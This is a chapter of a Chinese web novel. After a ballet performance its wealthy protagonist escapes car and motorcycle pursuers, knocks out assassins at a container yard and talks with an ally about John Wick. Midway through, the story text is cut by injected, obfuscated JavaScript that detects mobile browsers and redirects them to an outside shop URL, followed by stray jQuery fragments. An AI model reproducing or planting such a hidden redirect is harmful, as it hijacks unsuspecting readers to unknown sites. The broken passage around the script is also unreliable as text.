14.夜狩
作品:《关于我整顿职场整没了这件事》 14 夜狩
最后一束追光打在王子身上,他匍匐在舞台上,因永失所爱痛苦、无力。随着《swan lake》最后一段和弦减弱,红色幕布缓缓落下,像两扇巨大的翅膀慢慢合拢。
满场响起震耳欲聋的掌声。祝愿和“满舵”也很给面子,为了艺术鼓掌。
离场通道里,穿礼服的、穿西装的人群裹挟着他两前行,众人的面具尚未摘下,上百个相同的似笑非笑的面孔在通道昏暗的灯光下流向同一个出口。
太诡异了,祝愿有点起鸡皮疙瘩,他正想侧头跟“满舵”说快点走。恰好“满舵”也转头看他,面具后的老头俏皮地眨眨眼,在下一个呼吸间消失在人群里。
祝愿回神定睛,他的身旁已经换成了一个穿貂皮大衣的老太太。
祝愿在面具后面小声嘀咕:“我靠,老头这招搞这么帅。”
然后他耸耸肩,把手插进西装裤袋里,一个人往停车场走去。
他换了辆又新又老的车,1969道奇Charger,哑光黑漆,引擎盖下面藏着一台7.0升Hemi V8,点火的一瞬间整颗心都会为之颤抖。
之前那辆阿斯顿马丁自他在港务局一炮而红之后,车牌号已经被神通广大的网友扒出来广而告之了,开它出门显然会给他带来麻烦。
这辆道奇是从祝家码头私人仓库里翻出来的,奥雷格替他做的全车检修,交车时拍了拍引擎盖说:“少爷,这玩意儿喝油跟喝水一样,但跑起来谁也追不上。”
不过,好像换不换车都会被追逐。祝愿看着倒后镜那两辆黑色福特Fusio从剧院出来一直跟到现在,轻叹:啧,少爷我还是太受欢迎了。
他急打方向盘,打算沿哈德逊河岸往北,穿过曼哈顿下城的工业区,从布鲁克林大桥东侧绕到祝家码头。
车流渐渐稀疏,对岸曼哈顿的万家灯火在水面上碎成一片片金鳞。
祝愿嘴角浮起一丝笑意,一脚把油门踩到底,转速表瞬间飙到红线,道奇发出暴怒的低吼。巨大的推背感把他的后脑勺拍进头枕里,仪表盘的橙色指针剧烈跳动,福特车在后视镜里迅速缩小。
但对方显然有备而来,几秒后又重新咬住了道奇的尾巴。
三辆车在哈德逊河岸公路上撕破黑夜的宁静,引擎的咆哮和涡轮的尖啸此起彼伏,轮胎因高温摩擦留下一道道黑色的印记,橡胶烧焦的气味混着河水的腥味灌进车厢。
福特车配合默契,交叉替护,一辆逼道奇加速,另一辆从侧翼包抄,逼往某个方向拐。
祝愿忽然笑了一声。真是默契,那边正是祝家码头的方向,他也正想把人往那边带。只不过想在祝家的地盘上解决他,对方也太小瞧他了。
道奇全速冲进集装箱堆场,左拐右拐,在货柜之间的狭窄通道里极速穿梭。眼看着要撞到尽头的大型机械,祝愿在最后关头猛打方向盘,车尾横甩,轮胎的尖叫隐在厚重的阴影中。整辆车侧身停稳,他关闭了所有车灯。
月亮被巨大的乌云遮盖,远处泊位上几盏安全灯微弱的黄光也悄然熄灭,码头一片黑暗。
两辆福特在堆场入口同时刹停,打开远光灯试图照亮四周,可惜效果不佳,货柜投下的阴影又黑又厚,光柱刚照出去不远便被吞没。
六扇车门同时弹开,下车六个人,统一半截深灰色面具覆面,只露出眼睛。他们步伐迅捷,从不同的方向进入堆场,意图包抄。他们也不惧落单,对方不过一个小白脸罢了。
祝愿借力蹬上三层货柜,掌控制高点,整套动作行云流水,落脚比刚才舞台上的芭蕾舞者还轻盈。
他回想了一下堆场的布局以及估摸了对方的行动轨迹,迅速在货柜之间穿梭跳跃,鞋底踩在铁皮上几乎不发出声音。
月亮偶尔从乌云的缝隙里漏出来,照在货柜顶上的时间不超过几秒,然后又被吞没。祝愿的动态视力极好,在一片黑暗中捕捉到移动的人影,掏出□□迅速在其身后落地“电疗”。
哼,你们以为穿着“吉利服”就无敌啦。祝愿边把电晕的人藏起来边想。
突然,枪响了。
子弹打在铁皮上,火花在黑暗中炸开,弹壳叮当滚落在地。祝愿迅速隐蔽。
对方也有人跳到了货柜上面,从数个失联的对讲机锁定祝愿的大概位置。枪声越来越密,货柜被打得千疮百孔。
祝愿从集装箱后面绕出来,看准离地两米的一个货柜侧面,那里有一排检修把手。他一步蹬上把手,借着冲力翻上货柜顶部,又在合适的位置一跃而下。
仅剩的最后一个杀手紧握武器,十万分谨慎在黑暗中搜寻,耳朵细细捕捉任何一丝异响。他抬脚正想绕过被放倒的同伙,这家伙扭扭歪歪半靠躺着货柜。
此时乌云悠悠游弋,遮盖的月光被放出,一束恰好照在“同伙”的惨白的侧脸。
不对!那是剧场的面具!杀手余光扫到霎时寒毛竖起,那是祝愿!只是时机稍纵即逝,太迟了。
祝愿已经睁眼,以迅雷不及掩耳之势再次用最大功率将人电晕。
哎打打杀杀还是太不好了。祝愿嘟囔着,拿出手机打给了“破晓”,左手顺手将面具掀开,发丝从脸颊滑落。
“码头,6个,两辆车,派人来弄走,”祝愿在电话接起就开门见山。
“好。你有受伤吗?”“破晓”问。
祝愿绕回堆场尽头拿车,道奇的引擎重新咆哮,他挂上倒挡猛打方向盘,车尾甩出一个几乎不可能的弧度,车头调转方向离开:“没有。”
祝愿本想往祝宅的方向开,没开多久发现在某一个转弯之后两辆全黑摩托从两边街口钻出来,骑手穿全黑机车服,戴全封闭头盔,牢牢占据他倒后镜的视野。他喃喃道:居然还有第二关?
祝愿立刻改变主意将道奇加速拐往布鲁克林的小巷。这里的每一条巷子都窄得像刀锋切开的缝隙。
对方也如鬣狗般迅速跟了上来。
祝愿一手把方向盘在愈发狭窄的巷子穿梭,火星在车门两侧喷溅,一手在车载屏幕上“弹奏”,他得找个帮手。
两辆摩托不得不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648250|206771||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分开,从并排改为一前一后。巷子太窄了,他们的视野严重受阻。
前方的道奇像疯了一样踩足了油门,他们也不得不跟随加速,看能不能找个机会铲上前车的前视窗。
正思考着,下一秒,道奇突然消失,前方是一堵砖墙,这是个死胡同!不对,道奇呢!?
一辆摩托来不及刹车已径直撞墙,巨响后是玻璃碎裂声,车头、头盔粉碎。车手满脸是血撞晕过去。
后一辆车惊慌刹停也来不及,只得跳车,在地上翻滚两圈撞上小巷的墙壁。无人控制的摩托与前车残骸再次相撞,第二声巨响再次震颤整条巷子。
祝愿在车内给予自己肯定:哼,跟我玩脏。
原来刚刚祝愿在车头离墙壁只剩一个车位距离的一刹那,猛打方向盘,车身侧倾,右轮几乎离地,道奇以一个不可思议的锐角拐进了右边,那是一条更窄的岔道,被一排堆叠的废木箱遮住了大半。
第一辆摩托车被道奇遮盖视野,完完全全上了当。
第二辆摩托车的车手晃晃悠悠爬起,摇了摇头迅速掏出武器往岔道摸去,他的脚步还有些踉跄。
不是吧,要不要这么敬业啊老哥。祝愿摇摇头,在车载屏幕又操作几番。
微不可闻的嗡嗡声在极静的夜晚响起。摩托手瞬间警觉,举枪四顾寻找声音来源。
但显然祝愿不会给他机会,一个白色的模糊影子从天而降,无人机的碳纤维机身以最大速度重重砸在车手头部,哐当一声只比摩托撞墙声逊色二分。
车手栽倒在地,再无清醒意识。
祝愿没有从岔道里倒出来,只操纵无人机回到高空,充当祝愿的眼睛。车载屏幕上的画面也变成了俯视角度,把纵横交错的每一条死胡同每一条岔道都看得清清楚楚。
在漫天灰尘和逐渐浓郁的汽油味中,他笑了一下,接着挂上挡,一脚油门,车身整个没入黑暗中,只剩下尾灯的红光一闪一闪。
失去倒后镜的道奇冲出巷口,重新回到大路上。祝愿降低车窗,风灌进来吹乱他的头发。
他伸手把散到脸前的碎发别到耳后,再次联系“破晓”收尾。
“已经安排”,深夜里的“破晓”声音仍然冷静清醒,听起来挺有安全感。
“另外,约翰·威克刚才去了塔尔科夫斯基剧院。他去找罗斯卡罗马。”
“合理,他的快乐老家。”
约翰·威克是个孤儿,由俄罗斯和白俄罗斯形成的混合帮派罗斯卡罗马抚养长大,他们一直有无条件帮助“家人”的传统。
“不再是了”,“破晓”说:“他被家族除名了。只提供了一艘船,目的地暂时还不清楚。”
“破晓”继续说:“自他被悬赏后,一路上制造了多处破坏:纽约公共图书馆的珍本室被砸了半边,唐人街一家无证诊所、武器店零元购、红钩区马厩多匹好马应激。武器店和马厩我们已经上门清过场了,尸体数量还在统计。”
祝愿打了个哈欠,看着越来越近的祝宅说:“接下来,审判员该来了。”

